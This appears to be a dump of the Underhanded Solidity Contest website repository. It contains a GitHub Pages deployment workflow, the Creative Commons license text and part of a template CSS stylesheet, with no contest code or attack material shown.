[
  {
    "path": ".github/workflows/deploy-static.yml",
    "content": "name: Deploy the Solidity Underhanded Contest to GitHub Pages\n\non:\n  push:\n    branches: [\"master\"]\n  workflow_dispatch:\n\npermissions:\n  contents: read\n  pages: write\n  id-token: write\n\n# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.\n# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.\nconcurrency:\n  group: \"pages\"\n  cancel-in-progress: false\n\njobs:\n  deploy:\n    environment:\n      name: github-pages\n      url: ${{ steps.deployment.outputs.page_url }}\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout\n        uses: actions/checkout@v4\n      - name: Setup Pages\n        uses: actions/configure-pages@v5\n      - name: Upload artifact\n        uses: actions/upload-pages-artifact@v3\n        with:\n          path: '.'\n      - name: Deploy to GitHub Pages\n        id: deployment\n        uses: actions/deploy-pages@v4\n"
  },
  {
    "path": ".gitignore",
    "content": ".git\n\n### Jekyll ###\n_site/\n.sass-cache/\n.jekyll-cache/\n.jekyll-metadata\n# Ignore folders generated by Bundler\n.bundle/\nvendor/"
  },
  {
    "path": "2020/CNAME",
    "content": "underhanded.soliditylang.org"
  },
  {
    "path": "2020/LICENSE.txt",
    "content": "Creative Commons Attribution 3.0 Unported\r\nhttp://creativecommons.org/licenses/by/3.0/\r\n\r\nLicense\r\n\r\nTHE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE (\"CCPL\" OR \"LICENSE\"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED.\r\n\r\nBY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. TO THE EXTENT THIS LICENSE MAY BE CONSIDERED TO BE A CONTRACT, THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.\r\n\r\n1. Definitions\r\n\r\n   1. \"Adaptation\" means a work based upon the Work, or upon the Work and other pre-existing works, such as a translation, adaptation, derivative work, arrangement of music or other alterations of a literary or artistic work, or phonogram or performance and includes cinematographic adaptations or any other form in which the Work may be recast, transformed, or adapted including in any form recognizably derived from the original, except that a work that constitutes a Collection will not be considered an Adaptation for the purpose of this License. For the avoidance of doubt, where the Work is a musical work, performance or phonogram, the synchronization of the Work in timed-relation with a moving image (\"synching\") will be considered an Adaptation for the purpose of this License.\r\n   2. \"Collection\" means a collection of literary or artistic works, such as encyclopedias and anthologies, or performances, phonograms or broadcasts, or other works or subject matter other than works listed in Section 1(f) below, which, by reason of the selection and arrangement of their contents, constitute intellectual creations, in which the Work is included in its entirety in unmodified form along with one or more other contributions, each constituting separate and independent works in themselves, which together are assembled into a collective whole. A work that constitutes a Collection will not be considered an Adaptation (as defined above) for the purposes of this License.\r\n   3. \"Distribute\" means to make available to the public the original and copies of the Work or Adaptation, as appropriate, through sale or other transfer of ownership.\r\n   4. \"Licensor\" means the individual, individuals, entity or entities that offer(s) the Work under the terms of this License.\r\n   5. \"Original Author\" means, in the case of a literary or artistic work, the individual, individuals, entity or entities who created the Work or if no individual or entity can be identified, the publisher; and in addition (i) in the case of a performance the actors, singers, musicians, dancers, and other persons who act, sing, deliver, declaim, play in, interpret or otherwise perform literary or artistic works or expressions of folklore; (ii) in the case of a phonogram the producer being the person or legal entity who first fixes the sounds of a performance or other sounds; and, (iii) in the case of broadcasts, the organization that transmits the broadcast.\r\n   6. \"Work\" means the literary and/or artistic work offered under the terms of this License including without limitation any production in the literary, scientific and artistic domain, whatever may be the mode or form of its expression including digital form, such as a book, pamphlet and other writing; a lecture, address, sermon or other work of the same nature; a dramatic or dramatico-musical work; a choreographic work or entertainment in dumb show; a musical composition with or without words; a cinematographic work to which are assimilated works expressed by a process analogous to cinematography; a work of drawing, painting, architecture, sculpture, engraving or lithography; a photographic work to which are assimilated works expressed by a process analogous to photography; a work of applied art; an illustration, map, plan, sketch or three-dimensional work relative to geography, topography, architecture or science; a performance; a broadcast; a phonogram; a compilation of data to the extent it is protected as a copyrightable work; or a work performed by a variety or circus performer to the extent it is not otherwise considered a literary or artistic work.\r\n   7. \"You\" means an individual or entity exercising rights under this License who has not previously violated the terms of this License with respect to the Work, or who has received express permission from the Licensor to exercise rights under this License despite a previous violation.\r\n   8. \"Publicly Perform\" means to perform public recitations of the Work and to communicate to the public those public recitations, by any means or process, including by wire or wireless means or public digital performances; to make available to the public Works in such a way that members of the public may access these Works from a place and at a place individually chosen by them; to perform the Work to the public by any means or process and the communication to the public of the performances of the Work, including by public digital performance; to broadcast and rebroadcast the Work by any means including signs, sounds or images.\r\n   9. \"Reproduce\" means to make copies of the Work by any means including without limitation by sound or visual recordings and the right of fixation and reproducing fixations of the Work, including storage of a protected performance or phonogram in digital form or other electronic medium.\r\n\r\n2. Fair Dealing Rights. Nothing in this License is intended to reduce, limit, or restrict any uses free from copyright or rights arising from limitations or exceptions that are provided for in connection with the copyright protection under copyright law or other applicable laws.\r\n\r\n3. License Grant. Subject to the terms and conditions of this License, Licensor hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) license to exercise the rights in the Work as stated below:\r\n\r\n   1. to Reproduce the Work, to incorporate the Work into one or more Collections, and to Reproduce the Work as incorporated in the Collections;\r\n   2. to create and Reproduce Adaptations provided that any such Adaptation, including any translation in any medium, takes reasonable steps to clearly label, demarcate or otherwise identify that changes were made to the original Work. For example, a translation could be marked \"The original work was translated from English to Spanish,\" or a modification could indicate \"The original work has been modified.\";\r\n   3. to Distribute and Publicly Perform the Work including as incorporated in Collections; and,\r\n   4. to Distribute and Publicly Perform Adaptations.\r\n   5.\r\n\r\n      For the avoidance of doubt:\r\n         1. Non-waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme cannot be waived, the Licensor reserves the exclusive right to collect such royalties for any exercise by You of the rights granted under this License;\r\n         2. Waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme can be waived, the Licensor waives the exclusive right to collect such royalties for any exercise by You of the rights granted under this License; and,\r\n         3. Voluntary License Schemes. The Licensor waives the right to collect royalties, whether individually or, in the event that the Licensor is a member of a collecting society that administers voluntary licensing schemes, via that society, from any exercise by You of the rights granted under this License.\r\n\r\nThe above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. Subject to Section 8(f), all rights not expressly granted by Licensor are hereby reserved.\r\n\r\n4. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:\r\n\r\n   1. You may Distribute or Publicly Perform the Work only under the terms of this License. You must include a copy of, or the Uniform Resource Identifier (URI) for, this License with every copy of the Work You Distribute or Publicly Perform. You may not offer or impose any terms on the Work that restrict the terms of this License or the ability of the recipient of the Work to exercise the rights granted to that recipient under the terms of the License. You may not sublicense the Work. You must keep intact all notices that refer to this License and to the disclaimer of warranties with every copy of the Work You Distribute or Publicly Perform. When You Distribute or Publicly Perform the Work, You may not impose any effective technological measures on the Work that restrict the ability of a recipient of the Work from You to exercise the rights granted to that recipient under the terms of the License. This Section 4(a) applies to the Work as incorporated in a Collection, but this does not require the Collection apart from the Work itself to be made subject to the terms of this License. If You create a Collection, upon notice from any Licensor You must, to the extent practicable, remove from the Collection any credit as required by Section 4(b), as requested. If You create an Adaptation, upon notice from any Licensor You must, to the extent practicable, remove from the Adaptation any credit as required by Section 4(b), as requested.\r\n   2. If You Distribute, or Publicly Perform the Work or any Adaptations or Collections, You must, unless a request has been made pursuant to Section 4(a), keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) the name of the Original Author (or pseudonym, if applicable) if supplied, and/or if the Original Author and/or Licensor designate another party or parties (e.g., a sponsor institute, publishing entity, journal) for attribution (\"Attribution Parties\") in Licensor's copyright notice, terms of service or by other reasonable means, the name of such party or parties; (ii) the title of the Work if supplied; (iii) to the extent reasonably practicable, the URI, if any, that Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and (iv) , consistent with Section 3(b), in the case of an Adaptation, a credit identifying the use of the Work in the Adaptation (e.g., \"French translation of the Work by Original Author,\" or \"Screenplay based on original Work by Original Author\"). The credit required by this Section 4 (b) may be implemented in any reasonable manner; provided, however, that in the case of a Adaptation or Collection, at a minimum such credit will appear, if a credit for all contributing authors of the Adaptation or Collection appears, then as part of these credits and in a manner at least as prominent as the credits for the other contributing authors. For the avoidance of doubt, You may only use the credit required by this Section for the purpose of attribution in the manner set out above and, by exercising Your rights under this License, You may not implicitly or explicitly assert or imply any connection with, sponsorship or endorsement by the Original Author, Licensor and/or Attribution Parties, as appropriate, of You or Your use of the Work, without the separate, express prior written permission of the Original Author, Licensor and/or Attribution Parties.\r\n   3. Except as otherwise agreed in writing by the Licensor or as may be otherwise permitted by applicable law, if You Reproduce, Distribute or Publicly Perform the Work either by itself or as part of any Adaptations or Collections, You must not distort, mutilate, modify or take other derogatory action in relation to the Work which would be prejudicial to the Original Author's honor or reputation. Licensor agrees that in those jurisdictions (e.g. Japan), in which any exercise of the right granted in Section 3(b) of this License (the right to make Adaptations) would be deemed to be a distortion, mutilation, modification or other derogatory action prejudicial to the Original Author's honor and reputation, the Licensor will waive or not assert, as appropriate, this Section, to the fullest extent permitted by the applicable national law, to enable You to reasonably exercise Your right under Section 3(b) of this License (right to make Adaptations) but not otherwise.\r\n\r\n5. Representations, Warranties and Disclaimer\r\n\r\nUNLESS OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN WRITING, LICENSOR OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTIBILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT APPLY TO YOU.\r\n\r\n6. Limitation on Liability. EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\r\n\r\n7. Termination\r\n\r\n   1. This License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Adaptations or Collections from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License.\r\n   2. Subject to the above terms and conditions, the license granted here is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated above.\r\n\r\n8. Miscellaneous\r\n\r\n   1. Each time You Distribute or Publicly Perform the Work or a Collection, the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License.\r\n   2. Each time You Distribute or Publicly Perform an Adaptation, Licensor offers to the recipient a license to the original Work on the same terms and conditions as the license granted to You under this License.\r\n   3. If any provision of this License is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action by the parties to this agreement, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.\r\n   4. No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent.\r\n   5. This License constitutes the entire agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You.\r\n   6. The rights granted under, and the subject matter referenced, in this License were drafted utilizing the terminology of the Berne Convention for the Protection of Literary and Artistic Works (as amended on September 28, 1979), the Rome Convention of 1961, the WIPO Copyright Treaty of 1996, the WIPO Performances and Phonograms Treaty of 1996 and the Universal Copyright Convention (as revised on July 24, 1971). These rights and subject matter take effect in the relevant jurisdiction in which the License terms are sought to be enforced according to the corresponding provisions of the implementation of those treaty provisions in the applicable national law. If the standard suite of rights granted under applicable copyright law includes additional rights not granted under this License, such additional rights are deemed to be included in the License; this License is not intended to restrict the license of any rights under applicable law.\r\n"
  },
  {
    "path": "2020/README.md",
    "content": "# solidity-underhanded-contest\n\nWebsite and resources for the Underhanded Solidity Contest.\n"
  },
  {
    "path": "2020/assets/css/main.css",
    "content": "@import url(fontawesome-all.min.css);\n\n/*\n\tHyperspace by HTML5 UP\n\thtml5up.net | @ajlkn\n\tFree for personal and commercial use under the CCA 3.0 license (html5up.net/license)\n*/\n\nhtml, body, div, span, applet, object,\niframe, h1, h2, h3, h4, h5, h6, p, blockquote,\npre, a, abbr, acronym, address, big, cite,\ncode, del, dfn, em, img, ins, kbd, q, s, samp,\nsmall, strike, strong, sub, sup, tt, var, b,\nu, i, center, dl, dt, dd, ol, ul, li, fieldset,\nform, label, legend, table, caption, tbody,\ntfoot, thead, tr, th, td, article, aside,\ncanvas, details, embed, figure, figcaption,\nfooter, header, hgroup, menu, nav, output, ruby,\nsection, summary, time, mark, audio, video {\n\tmargin: 0;\n\tpadding: 0;\n\tborder: 0;\n\tfont-size: 100%;\n\tfont: inherit;\n\tvertical-align: baseline;}\n\narticle, aside, details, figcaption, figure,\nfooter, header, hgroup, menu, nav, section {\n\tdisplay: block;}\n\nbody {\n\tline-height: 1;\n}\n\nol, ul {\n\tlist-style: none;\n}\n\nblockquote, q {\n\tquotes: none;\n}\n\n\tblockquote:before, blockquote:after, q:before, q:after {\n\t\tcontent: '';\n\t\tcontent: none;\n\t}\n\ntable {\n\tborder-collapse: collapse;\n\tborder-spacing: 0;\n}\n\nbody {\n\t-webkit-text-size-adjust: none;\n}\n\nmark {\n\tbackground-color: transparent;\n\tcolor: inherit;\n}\n\ninput::-moz-focus-inner {\n\tborder: 0;\n\tpadding: 0;\n}\n\ninput, select, textarea {\n\t-moz-appearance: none;\n\t-webkit-appearance: none;\n\t-ms-appearance: none;\n\tappearance: none;\n}\n\n/* Basic */\n\n\t@-ms-viewport {\n\t\twidth: device-width;\n\t}\n\n\tbody {\n\t\t-ms-overflow-style: scrollbar;\n\t}\n\n\t@media screen and (max-width: 480px) {\n\n\t\thtml, body {\n\t\t\tmin-width: 320px;\n\t\t}\n\n\t}\n\n\thtml {\n\t\tbox-sizing: border-box;\n\t}\n\n\t*, *:before, *:after {\n\t\tbox-sizing: inherit;\n\t}\n\n\tbody {\n\t\tbackground: #111111;\n\t}\n\n\t\tbody.is-preload *, body.is-preload *:before, body.is-preload *:after {\n\t\t\t-moz-animation: none !important;\n\t\t\t-webkit-animation: none !important;\n\t\t\t-ms-animation: none !important;\n\t\t\tanimation: none !important;\n\t\t\t-moz-transition: none !important;\n\t\t\t-webkit-transition: none !important;\n\t\t\t-ms-transition: none !important;\n\t\t\ttransition: none !important;\n\t\t}\n\n/* Type */\n\n\tbody, input, select, textarea {\n\t\tcolor:#111111;\n\t\tfont-family: 'Share Tech Mono', monospace;\n\t\tfont-size: 16.5pt;\n\t\tfont-weight: normal;\n\t\tline-height: 1.75;\n\t}\n\n\t\t@media screen and (max-width: 1680px) {\n\n\t\t\tbody, input, select, textarea {\n\t\t\t\tfont-size: 13pt;\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 1280px) {\n\n\t\t\tbody, input, select, textarea {\n\t\t\t\tfont-size: 12pt;\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 360px) {\n\n\t\t\tbody, input, select, textarea {\n\t\t\t\tfont-size: 11pt;\n\t\t\t}\n\n\t\t}\n\n\ta {\n\t\t-moz-transition: color 0.2s ease, border-bottom-color 0.2s ease;\n\t\t-webkit-transition: color 0.2s ease, border-bottom-color 0.2s ease;\n\t\t-ms-transition: color 0.2s ease, border-bottom-color 0.2s ease;\n\t\ttransition: color 0.2s ease, border-bottom-color 0.2s ease;\n\t\tborder-bottom: dotted 1px rgba(255, 255, 255, 0.35);\n\t\tcolor: inherit;\n\t\ttext-decoration: none;\n\t}\n\n\t\ta:hover {\n\t\t\tborder-bottom-color: transparent;\n\t\t\tcolor: #ffffff;\n\t\t}\n\n\tstrong, b {\n\t\tcolor: #ffffff;\n\t\tfont-weight: bold;\n\t}\n\n\tem, i {\n\t\tfont-style: italic;\n\t}\n\n\tp {\n\t\tmargin: 0 0 2em 0;\n\t}\n\n\th1 {\n\t\tcolor: #ffffff;\n\t\tfont-weight: bold;\n\t\tline-height: 1.5;\n\t\tmargin: 0 0 0.5em 0;\n\t}\n\n\th2 {\n\t\tcolor: #111111;\n\t\tfont-weight: bold;\n\t\tline-height: 1.5;\n\t\tmargin: 0 0 0.5em 0;\n\t}\n\n\th3 {\n\t\tcolor:  #e5e5e5;\n\t\tfont-weight: bold;\n\t\tline-height: 1.5;\n\t\tmargin: 0 0 0.5em 0;\n\t}\n\n\th4, h5, h6 {\n\t\tcolor: #111111;\n\t\tfont-weight: bold;\n\t\tline-height: 1.5;\n\t\tmargin: 0 0 0.5em 0;\n\t}\n\n\t\th1 a, h2 a, h3 a, h4 a, h5 a, h6 a {\n\t\t\tcolor: inherit;\n\t\t\ttext-decoration: none;\n\t\t}\n\n\th1 {\n\t\tfont-size: 2.75em;\n\t}\n\n\t\th1.major {\n\t\t\tmargin: 0 0 1.3em 0;\n\t\t\tposition: relative;\n\t\t\tpadding-bottom: 0.35em;\n\t\t}\n\n\t\t\th1.major:after {\n\t\t\t\tbackground-image: -moz-linear-gradient(to right, #5e42a6, #b74e91);\n\t\t\t\tbackground-image: -webkit-linear-gradient(to right, #5e42a6, #b74e91);\n\t\t\t\tbackground-image: -ms-linear-gradient(to right, #5e42a6, #b74e91);\n\t\t\t\tbackground-image: linear-gradient(to right, #5e42a6, #b74e91);\n\t\t\t\t-moz-transition: max-width 0.2s ease;\n\t\t\t\t-webkit-transition: max-width 0.2s ease;\n\t\t\t\t-ms-transition: max-width 0.2s ease;\n\t\t\t\ttransition: max-width 0.2s ease;\n\t\t\t\tborder-radius: 0.2em;\n\t\t\t\tbottom: 0;\n\t\t\t\tcontent: '';\n\t\t\t\theight: 0.05em;\n\t\t\t\tposition: absolute;\n\t\t\t\tright: 0;\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\th2 {\n\t\tfont-size: 1.75em;\n\t}\n\n\th3 {\n\t\tfont-size: 1.1em;\n\t}\n\n\th4 {\n\t\tfont-size: 1.1em;\n\t}\n\n\th5 {\n\t\tfont-size: 0.8em;\n\t}\n\n\th6 {\n\t\tfont-size: 0.6em;\n\t}\n\n\t@media screen and (max-width: 736px) {\n\n\t\th1 {\n\t\t\tfont-size: 2em;\n\t\t}\n\n\t\th2 {\n\t\t\tfont-size: 1.25em;\n\t\t}\n\n\t\th3 {\n\t\t\tfont-size: 1em;\n\t\t}\n\n\t\th4 {\n\t\t\tfont-size: 0.8em;\n\t\t}\n\n\t\th5 {\n\t\t\tfont-size: 0.6em;\n\t\t}\n\n\t\th6 {\n\t\t\tfont-size: 0.6em;\n\t\t}\n\n\t}\n\n\tsub {\n\t\tfont-size: 0.8em;\n\t\tposition: relative;\n\t\ttop: 0.5em;\n\t}\n\n\tsup {\n\t\tfont-size: 0.8em;\n\t\tposition: relative;\n\t\ttop: -0.5em;\n\t}\n\n\tblockquote {\n\t\tborder-left: solid 4px rgba(255, 255, 255, 0.15);\n\t\tfont-style: italic;\n\t\tmargin: 0 0 2em 0;\n\t\tpadding: 0.5em 0 0.5em 2em;\n\t}\n\n\tcode {\n\t\tbackground: rgba(255, 255, 255, 0.05);\n\t\tborder-radius: 0.25em;\n\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\tfont-family: \"Courier New\", monospace;\n\t\tfont-size: 0.9em;\n\t\tmargin: 0 0.25em;\n\t\tpadding: 0.25em 0.65em;\n\t}\n\n\tpre {\n\t\t-webkit-overflow-scrolling: touch;\n\t\tfont-family: \"Courier New\", monospace;\n\t\tfont-size: 0.9em;\n\t\tmargin: 0 0 2em 0;\n\t}\n\n\t\tpre code {\n\t\t\tdisplay: block;\n\t\t\tline-height: 1.75em;\n\t\t\tpadding: 1em 1.5em;\n\t\t\toverflow-x: auto;\n\t\t}\n\n\thr {\n\t\tborder: 0;\n\t\tborder-bottom: solid 1px rgba(255, 255, 255, 0.15);\n\t\tmargin: 2em 0;\n\t}\n\n\t\thr.major {\n\t\t\tmargin: 3em 0;\n\t\t}\n\n\t.align-left {\n\t\ttext-align: left;\n\t}\n\n\t.align-center {\n\t\ttext-align: center;\n\t}\n\n\t.align-right {\n\t\ttext-align: right;\n\t}\n\n/* Row */\n\n\t.row {\n\t\tdisplay: flex;\n\t\tflex-wrap: wrap;\n\t\tbox-sizing: border-box;\n\t\talign-items: stretch;\n\t}\n\n\t\t.row > * {\n\t\t\tbox-sizing: border-box;\n\t\t}\n\n\t\t.row.gtr-uniform > * > :last-child {\n\t\t\tmargin-bottom: 0;\n\t\t}\n\n\t\t.row.aln-left {\n\t\t\tjustify-content: flex-start;\n\t\t}\n\n\t\t.row.aln-center {\n\t\t\tjustify-content: center;\n\t\t}\n\n\t\t.row.aln-right {\n\t\t\tjustify-content: flex-end;\n\t\t}\n\n\t\t.row.aln-top {\n\t\t\talign-items: flex-start;\n\t\t}\n\n\t\t.row.aln-middle {\n\t\t\talign-items: center;\n\t\t}\n\n\t\t.row.aln-bottom {\n\t\t\talign-items: flex-end;\n\t\t}\n\n\t\t.row > .imp {\n\t\t\torder: -1;\n\t\t}\n\n\t\t.row > .col-1 {\n\t\t\twidth: 8.33333%;\n\t\t}\n\n\t\t.row > .off-1 {\n\t\t\tmargin-left: 8.33333%;\n\t\t}\n\n\t\t.row > .col-2 {\n\t\t\twidth: 16.66667%;\n\t\t}\n\n\t\t.row > .off-2 {\n\t\t\tmargin-left: 16.66667%;\n\t\t}\n\n\t\t.row > .col-3 {\n\t\t\twidth: 25%;\n\t\t}\n\n\t\t.row > .off-3 {\n\t\t\tmargin-left: 25%;\n\t\t}\n\n\t\t.row > .col-4 {\n\t\t\twidth: 33.33333%;\n\t\t}\n\n\t\t.row > .off-4 {\n\t\t\tmargin-left: 33.33333%;\n\t\t}\n\n\t\t.row > .col-5 {\n\t\t\twidth: 41.66667%;\n\t\t}\n\n\t\t.row > .off-5 {\n\t\t\tmargin-left: 41.66667%;\n\t\t}\n\n\t\t.row > .col-6 {\n\t\t\twidth: 50%;\n\t\t}\n\n\t\t.row > .off-6 {\n\t\t\tmargin-left: 50%;\n\t\t}\n\n\t\t.row > .col-7 {\n\t\t\twidth: 58.33333%;\n\t\t}\n\n\t\t.row > .off-7 {\n\t\t\tmargin-left: 58.33333%;\n\t\t}\n\n\t\t.row > .col-8 {\n\t\t\twidth: 66.66667%;\n\t\t}\n\n\t\t.row > .off-8 {\n\t\t\tmargin-left: 66.66667%;\n\t\t}\n\n\t\t.row > .col-9 {\n\t\t\twidth: 75%;\n\t\t}\n\n\t\t.row > .off-9 {\n\t\t\tmargin-left: 75%;\n\t\t}\n\n\t\t.row > .col-10 {\n\t\t\twidth: 83.33333%;\n\t\t}\n\n\t\t.row > .off-10 {\n\t\t\tmargin-left: 83.33333%;\n\t\t}\n\n\t\t.row > .col-11 {\n\t\t\twidth: 91.66667%;\n\t\t}\n\n\t\t.row > .off-11 {\n\t\t\tmargin-left: 91.66667%;\n\t\t}\n\n\t\t.row > .col-12 {\n\t\t\twidth: 100%;\n\t\t}\n\n\t\t.row > .off-12 {\n\t\t\tmargin-left: 100%;\n\t\t}\n\n\t\t.row.gtr-0 {\n\t\t\tmargin-top: 0;\n\t\t\tmargin-left: 0em;\n\t\t}\n\n\t\t\t.row.gtr-0 > * {\n\t\t\t\tpadding: 0 0 0 0em;\n\t\t\t}\n\n\t\t\t.row.gtr-0.gtr-uniform {\n\t\t\t\tmargin-top: 0em;\n\t\t\t}\n\n\t\t\t\t.row.gtr-0.gtr-uniform > * {\n\t\t\t\t\tpadding-top: 0em;\n\t\t\t\t}\n\n\t\t.row.gtr-25 {\n\t\t\tmargin-top: 0;\n\t\t\tmargin-left: -0.375em;\n\t\t}\n\n\t\t\t.row.gtr-25 > * {\n\t\t\t\tpadding: 0 0 0 0.375em;\n\t\t\t}\n\n\t\t\t.row.gtr-25.gtr-uniform {\n\t\t\t\tmargin-top: -0.375em;\n\t\t\t}\n\n\t\t\t\t.row.gtr-25.gtr-uniform > * {\n\t\t\t\t\tpadding-top: 0.375em;\n\t\t\t\t}\n\n\t\t.row.gtr-50 {\n\t\t\tmargin-top: 0;\n\t\t\tmargin-left: -0.75em;\n\t\t}\n\n\t\t\t.row.gtr-50 > * {\n\t\t\t\tpadding: 0 0 0 0.75em;\n\t\t\t}\n\n\t\t\t.row.gtr-50.gtr-uniform {\n\t\t\t\tmargin-top: -0.75em;\n\t\t\t}\n\n\t\t\t\t.row.gtr-50.gtr-uniform > * {\n\t\t\t\t\tpadding-top: 0.75em;\n\t\t\t\t}\n\n\t\t.row {\n\t\t\tmargin-top: 0;\n\t\t\tmargin-left: -1.5em;\n\t\t}\n\n\t\t\t.row > * {\n\t\t\t\tpadding: 0 0 0 1.5em;\n\t\t\t}\n\n\t\t\t.row.gtr-uniform {\n\t\t\t\tmargin-top: -1.5em;\n\t\t\t}\n\n\t\t\t\t.row.gtr-uniform > * {\n\t\t\t\t\tpadding-top: 1.5em;\n\t\t\t\t}\n\n\t\t.row.gtr-150 {\n\t\t\tmargin-top: 0;\n\t\t\tmargin-left: -2.25em;\n\t\t}\n\n\t\t\t.row.gtr-150 > * {\n\t\t\t\tpadding: 0 0 0 2.25em;\n\t\t\t}\n\n\t\t\t.row.gtr-150.gtr-uniform {\n\t\t\t\tmargin-top: -2.25em;\n\t\t\t}\n\n\t\t\t\t.row.gtr-150.gtr-uniform > * {\n\t\t\t\t\tpadding-top: 2.25em;\n\t\t\t\t}\n\n\t\t.row.gtr-200 {\n\t\t\tmargin-top: 0;\n\t\t\tmargin-left: -3em;\n\t\t}\n\n\t\t\t.row.gtr-200 > * {\n\t\t\t\tpadding: 0 0 0 3em;\n\t\t\t}\n\n\t\t\t.row.gtr-200.gtr-uniform {\n\t\t\t\tmargin-top: -3em;\n\t\t\t}\n\n\t\t\t\t.row.gtr-200.gtr-uniform > * {\n\t\t\t\t\tpadding-top: 3em;\n\t\t\t\t}\n\n\t\t@media screen and (max-width: 1680px) {\n\n\t\t\t.row {\n\t\t\t\tdisplay: flex;\n\t\t\t\tflex-wrap: wrap;\n\t\t\t\tbox-sizing: border-box;\n\t\t\t\talign-items: stretch;\n\t\t\t}\n\n\t\t\t\t.row > * {\n\t\t\t\t\tbox-sizing: border-box;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-uniform > * > :last-child {\n\t\t\t\t\tmargin-bottom: 0;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-left {\n\t\t\t\t\tjustify-content: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-center {\n\t\t\t\t\tjustify-content: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-right {\n\t\t\t\t\tjustify-content: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-top {\n\t\t\t\t\talign-items: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-middle {\n\t\t\t\t\talign-items: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-bottom {\n\t\t\t\t\talign-items: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row > .imp-xlarge {\n\t\t\t\t\torder: -1;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-1-xlarge {\n\t\t\t\t\twidth: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-1-xlarge {\n\t\t\t\t\tmargin-left: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-2-xlarge {\n\t\t\t\t\twidth: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-2-xlarge {\n\t\t\t\t\tmargin-left: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-3-xlarge {\n\t\t\t\t\twidth: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-3-xlarge {\n\t\t\t\t\tmargin-left: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-4-xlarge {\n\t\t\t\t\twidth: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-4-xlarge {\n\t\t\t\t\tmargin-left: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-5-xlarge {\n\t\t\t\t\twidth: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-5-xlarge {\n\t\t\t\t\tmargin-left: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-6-xlarge {\n\t\t\t\t\twidth: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-6-xlarge {\n\t\t\t\t\tmargin-left: 